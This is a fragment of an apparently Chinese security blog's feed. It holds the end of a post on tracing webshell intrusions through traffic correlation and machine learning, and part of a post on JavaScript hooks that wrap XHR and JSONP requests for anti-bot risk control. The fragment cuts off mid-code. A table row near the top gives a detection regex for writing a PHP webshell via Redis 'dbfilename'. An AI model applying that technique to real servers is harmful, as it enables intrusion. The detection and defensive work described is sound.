 &lt;td&gt;set[\s]&lt;em&gt;?dbfilename[\s]&lt;/em&gt;?[\S]*?.php&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;img src="/posts/automated-intrusion-analysis-via-traffic/layer4-ioa-attack-features.jpg"
	width="2984"
	height="2208"
	loading="lazy"
	
 
	
		class="gallery-image" 
		data-flex-grow="135"
		data-flex-basis="324px"
	
&gt;&lt;/p&gt;
&lt;h3 id="2机器学习穿透五元组的战争迷雾"&gt;2.机器学习：穿透五元组的“战争迷雾”
&lt;/h3&gt;&lt;p&gt;在很多业务场景下（如非标准端口、加密隧道或仅存四层流量），我们无法获取完整的 Payload。此时，只有网络层五元组（源 IP、源端口、目的 IP、目的端口、协议）可供分析。五元组数据可以用来分析的信息很少，人工很难通过其判断真实的入侵来源，这时就需要结合专家经验来进行特征工程补全上下文信息了&lt;/p&gt;
&lt;h4 id="1-特征工程赋予数据上下文"&gt;1. 特征工程：赋予数据“上下文”
&lt;/h4&gt;&lt;p&gt;单条五元组数据信息非常单一的，但通过特征工程，我们可以丰富出攻击的上下文：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;访问密度特征&lt;/strong&gt;：人工分析时，如果一个IP连接了云端数千台机器，则更类似于扫描器；如果连接的都是同一类型的受害者，甚至连端口也有比较强的一致性，则入侵嫌疑更高。那么这些特征完全可以通过数据统计来转化为向量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;基线偏离度&lt;/strong&gt;：如很多服务（PostgreSQL/MangoDB）访问来源都很固定，有的服务(如HTTP)的同一IP访问频度分桶明显成正太分布。可以构建服务器的日常访问基线，然后通过关联对IP进行打标。这里需要注意排除一些扫描IP，避免他们被纳入基线之中。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目标风险权重&lt;/strong&gt;：目标端口是否为 6379 (Redis)、2375 (docker) 等高危利用端口，风险的量化可以通过历史的入侵原因数据进行公正的评分。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;来源IP画像&lt;/strong&gt;: 来源IP是否先天高危(情报、ASN、归属地)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;时间序列特征&lt;/strong&gt;: 与webshell告警时间距离、前后的访问特征。该IP的活跃时间段特征等&lt;br&gt;
&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-样本构建"&gt;2. 样本构建
&lt;/h4&gt;&lt;p&gt;有了特征工程增强的五元组，接下来是要对五元组进行打标构建训练样本，主要通过三种方式进行打标：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;关联样本&lt;/strong&gt;：基于通过流量关联分析出来的数据作为训练样本&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;聚类分析&lt;/strong&gt;：对所有主机连接进行聚类，将模式近似的请求基于人工分析确认进行批量标注&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;人工标注&lt;/strong&gt;：某些特殊的样本，需要通过人工的入侵原因分析进行确认（Webshell 明显特征是由 SQLServer 写入的，或者蠕虫中就携带了传播所利用的漏洞），将该时间段内符合模式的五元组人工分析进行标注&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="3-模型预测"&gt;3. 模型预测
&lt;/h4&gt;&lt;p&gt;将五元组处理后的特征矩阵，训练二分类模型，模型会对入侵时间点附近的每一条五元组进行评分，输出&lt;strong&gt;入侵概率值&lt;/strong&gt;。概率值越接近 1，意味着该条连接是入侵原因的可能性越大。&lt;br&gt;
模型选择上，不同模型差别不大，但XGBoost通常效果较好，因为XGBoost对对非线性、稀疏/分桶特征较为友好。&lt;/p&gt;
&lt;p&gt;&lt;img src="/posts/automated-intrusion-analysis-via-traffic/ml-five-tuple-prediction.jpg"
	width="3620"
	height="1992"
	loading="lazy"
	
 
	
		class="gallery-image" 
		data-flex-grow="181"
		data-flex-basis="436px"
	
&gt;&lt;/p&gt;
&lt;h2 id="结语"&gt;结语
&lt;/h2&gt;&lt;p&gt;通过将“流量关联”与“机器学习”相结合，我们构建了一套自动化的 Webshell 溯源体系。对于简单攻击，通过关联可以给出完整的攻击 Payload 还原情景。对于复杂或加密攻击，机器学习模型能够穿透协议层，从五元组的统计分布中嗅探出攻击者的蛛丝马迹。在海量流量面前，攻击者无所遁形。&lt;/p&gt;</description></item><item><title>JS hook</title><link>/posts/js-hook/</link><pubDate>Mon, 15 Aug 2016 19:12:00 +0800</pubDate><guid>/posts/js-hook/</guid><description>&lt;p&gt;前文介绍了通过WAF在页面注入JS，通过劫持从浏览器页面发起的请求，从而实现透明零侵入的提供风控和防爬能力。本文主要讨论如何在浏览器端实现对所有出站请求的透明拦截。&lt;/p&gt;
&lt;h2 id="劫持点分析"&gt;劫持点分析
&lt;/h2&gt;&lt;p&gt;浏览器中发起网络请求的途径主要有以下几种，我们的目标：&lt;strong&gt;全部劫持，一个不漏&lt;/strong&gt;。&lt;/p&gt;
&lt;pre class="mermaid" style="visibility:hidden"&gt;graph LR
 A[Browser Request] --&gt; B[AJAX请求]
 A --&gt; C[JSONP Script Tag]
 A --&gt; D[Form Submit]
 A --&gt; E[Link Navigation]&lt;/pre&gt;&lt;h2 id="hook-1-ajax劫持"&gt;Hook #1: AJAX劫持
&lt;/h2&gt;&lt;h3 id="原理"&gt;原理
&lt;/h3&gt;&lt;p&gt;AJAX请求主要通过&lt;code&gt;XMLHttpRequest&lt;/code&gt; 是浏览器提供的原生对象。劫持的核心思路是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;备份&lt;/strong&gt;原生构造函数&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;替换&lt;/strong&gt;为我们的 Proxy 构造函数&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;转发&lt;/strong&gt;所有调用到原生对象，同时&lt;strong&gt;注入&lt;/strong&gt;我们的逻辑&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;┌─────────────────────────────────────────────────────────┐
│ Application Code │
│ xhr.open() / xhr.send() │
└─────────────────────┬───────────────────────────────────┘
 │
 ▼
┌─────────────────────────────────────────────────────────┐
│ Hijacked XMLHttpRequest │
│ ┌───────────────────────────────────────────────────┐ │
│ │ • Intercept open() → Inject params to URL │ │
│ │ • Intercept send() → Inject params to POST body │ │
│ │ • Intercept response → Check risk_user flag │ │
│ └───────────────────────────────────────────────────┘ │
└─────────────────────┬───────────────────────────────────┘
 │
 ▼
┌─────────────────────────────────────────────────────────┐
│ Native XMLHttpRequest │
│ (Real Network) │
└─────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="核心实现"&gt;核心实现
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;oldXML&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; window.&lt;span style="color:#a6e22e"&gt;XMLHttpRequest&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// 备份原生对象
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;hookXMLHttpRequest&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;originXHR&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;oldXML&lt;/span&gt;(); &lt;span style="color:#75715e"&gt;// 创建真实 XHR 实例
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;hookXHR&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// 代理对象引用
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Hook open(): 劫持 URL，注入前端采集的风控数据
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;hookXHR&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;open&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;method&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;_url&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;parsedUrl&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;parseURL&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;isConfigUrl&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;parsedUrl&lt;/span&gt;) &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;method&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;GET&amp;#39;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;parsedUrl&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;search&lt;/span&gt; &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;parsedUrl&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;search&lt;/span&gt; &lt;span style="color:#f92672"&gt;?&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;amp;ua=&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;?ua=&amp;#39;&lt;/span&gt;) &lt;span style="color:#f92672"&gt;+&lt;/span&gt; encodeURIComponent(&lt;span style="color:#a6e22e"&gt;ua&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;url&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;combineUrl&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;parsedUrl&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;originXHR&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;open&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;call&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;originXHR&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;method&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Hook send(): POST 请求注入数据
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;hookXHR&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;send&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;_method&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;POST&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;isConfigUrl&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;_parsedUrl&lt;/span&gt;)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;data&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;addPostData&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;ua&amp;#39;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;ua&lt;/span&gt;); 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;originXHR&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;send&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;call&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;originXHR&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Hook readystatechange: 响应拦截
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;originXHR&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;onreadystatechange&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;syncStatus&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;originXHR&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;hookXHR&lt;/span&gt;); 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;originXHR&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;readyState&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;originXHR&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;responseText&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;risk_user&amp;#39;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 风险用户！阻断请求，触发人机验证
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;block_list&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;push&lt;/span&gt;({ &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ajax&amp;#39;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;oldXHR&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;hookXHR&lt;/span&gt;, &lt;span style="color:#75715e"&gt;/* ... */&lt;/span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;showBlock&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;hookXHR&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;onreadystatechange&lt;/span&gt;&lt;span style="color:#f92672"&gt;?&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;call&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;hookXHR&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;syncStatus&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;xhr&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;copy&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//需要随着state变化同步的属性
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; { 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;syncList&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#39;readyState&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;response&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;responseText&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;responseType&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;responseXML&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;status&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;withCredentials&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;upload&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;statusText&amp;#39;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;i&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;; &lt;span style="color:#a6e22e"&gt;i&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;syncList&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt;; &lt;span style="color:#a6e22e"&gt;i&lt;/span&gt;&lt;span style="color:#f92672"&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;syncList&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;i&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;copy&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;xhr&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;) {}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 替换全局构造函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;window.&lt;span style="color:#a6e22e"&gt;XMLHttpRequest&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;hookXMLHttpRequest&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;TODO List:&lt;br&gt;
因为篇幅精简了具体实现，为了保证Ajax的完整实现，还需要实现如下细节&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;技术点&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;状态同步&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;readyState&lt;/code&gt;, &lt;code&gt;response&lt;/code&gt;, &lt;code&gt;status&lt;/code&gt; 等属性需实时同步到代理对象&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;方法代理&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;abort()&lt;/code&gt;, &lt;code&gt;getResponseHeader()&lt;/code&gt; 等需要透传到原生对象&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;事件绑定&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;onload&lt;/code&gt;, &lt;code&gt;onerror&lt;/code&gt;, &lt;code&gt;ontimeout&lt;/code&gt; 等事件需正确转发&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="hook-2-jsonp-劫持"&gt;Hook #2: JSONP 劫持
&lt;/h2&gt;&lt;h3 id="原理-1"&gt;原理
&lt;/h3&gt;&lt;p&gt;JSONP 是通过在DOM上动态创建 &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; 标签实现跨域请求。通用的劫持点（部分网站可以基于JSONP的具体实现，需要进行部分自定义）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;document.head.appendChild()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;document.head.insertBefore()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class="mermaid" style="visibility:hidden"&gt;sequenceDiagram
 participant App as Application
 participant Hook as Hijacker
 participant DOM as DOM API
 participant Server as Server
 
 App-&gt;&gt;Hook: appendChild(script)
 Hook-&gt;&gt;Hook: 修改 script.src 添加 ua 参数
 Hook-&gt;&gt;Hook: 替换 window[callback]
 Hook-&gt;&gt;DOM: 调用原生 appendChild
 DOM-&gt;&gt;Server: GET /api?callback=jsonp_xxx&amp;ua=xxx
 Server--&gt;&gt;DOM: jsonp_xxx({data})
 DOM-&gt;&gt;Hook: 执行被替换的 callback
 Hook-&gt;&gt;Hook: 检查是否 risk_user
 alt 正常用户
 Hook-&gt;&gt;App: 执行原始 callback
 else 风险用户
 Hook-&gt;&gt;App: 阻断，弹出验证
 end&lt;/pre&gt;&lt;h3 id="核心实现-1"&gt;核心实现
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;hookJSONP&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;jsonpFactory&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;oldFn&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;ele&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;ele&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;tagName&lt;/span&gt; &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;SCRIPT&amp;#39;&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;oldFn&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;apply&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;arguments&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;url&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;parseURL&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;ele&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;callbackName&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;parseQuery&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;search&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;callback&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
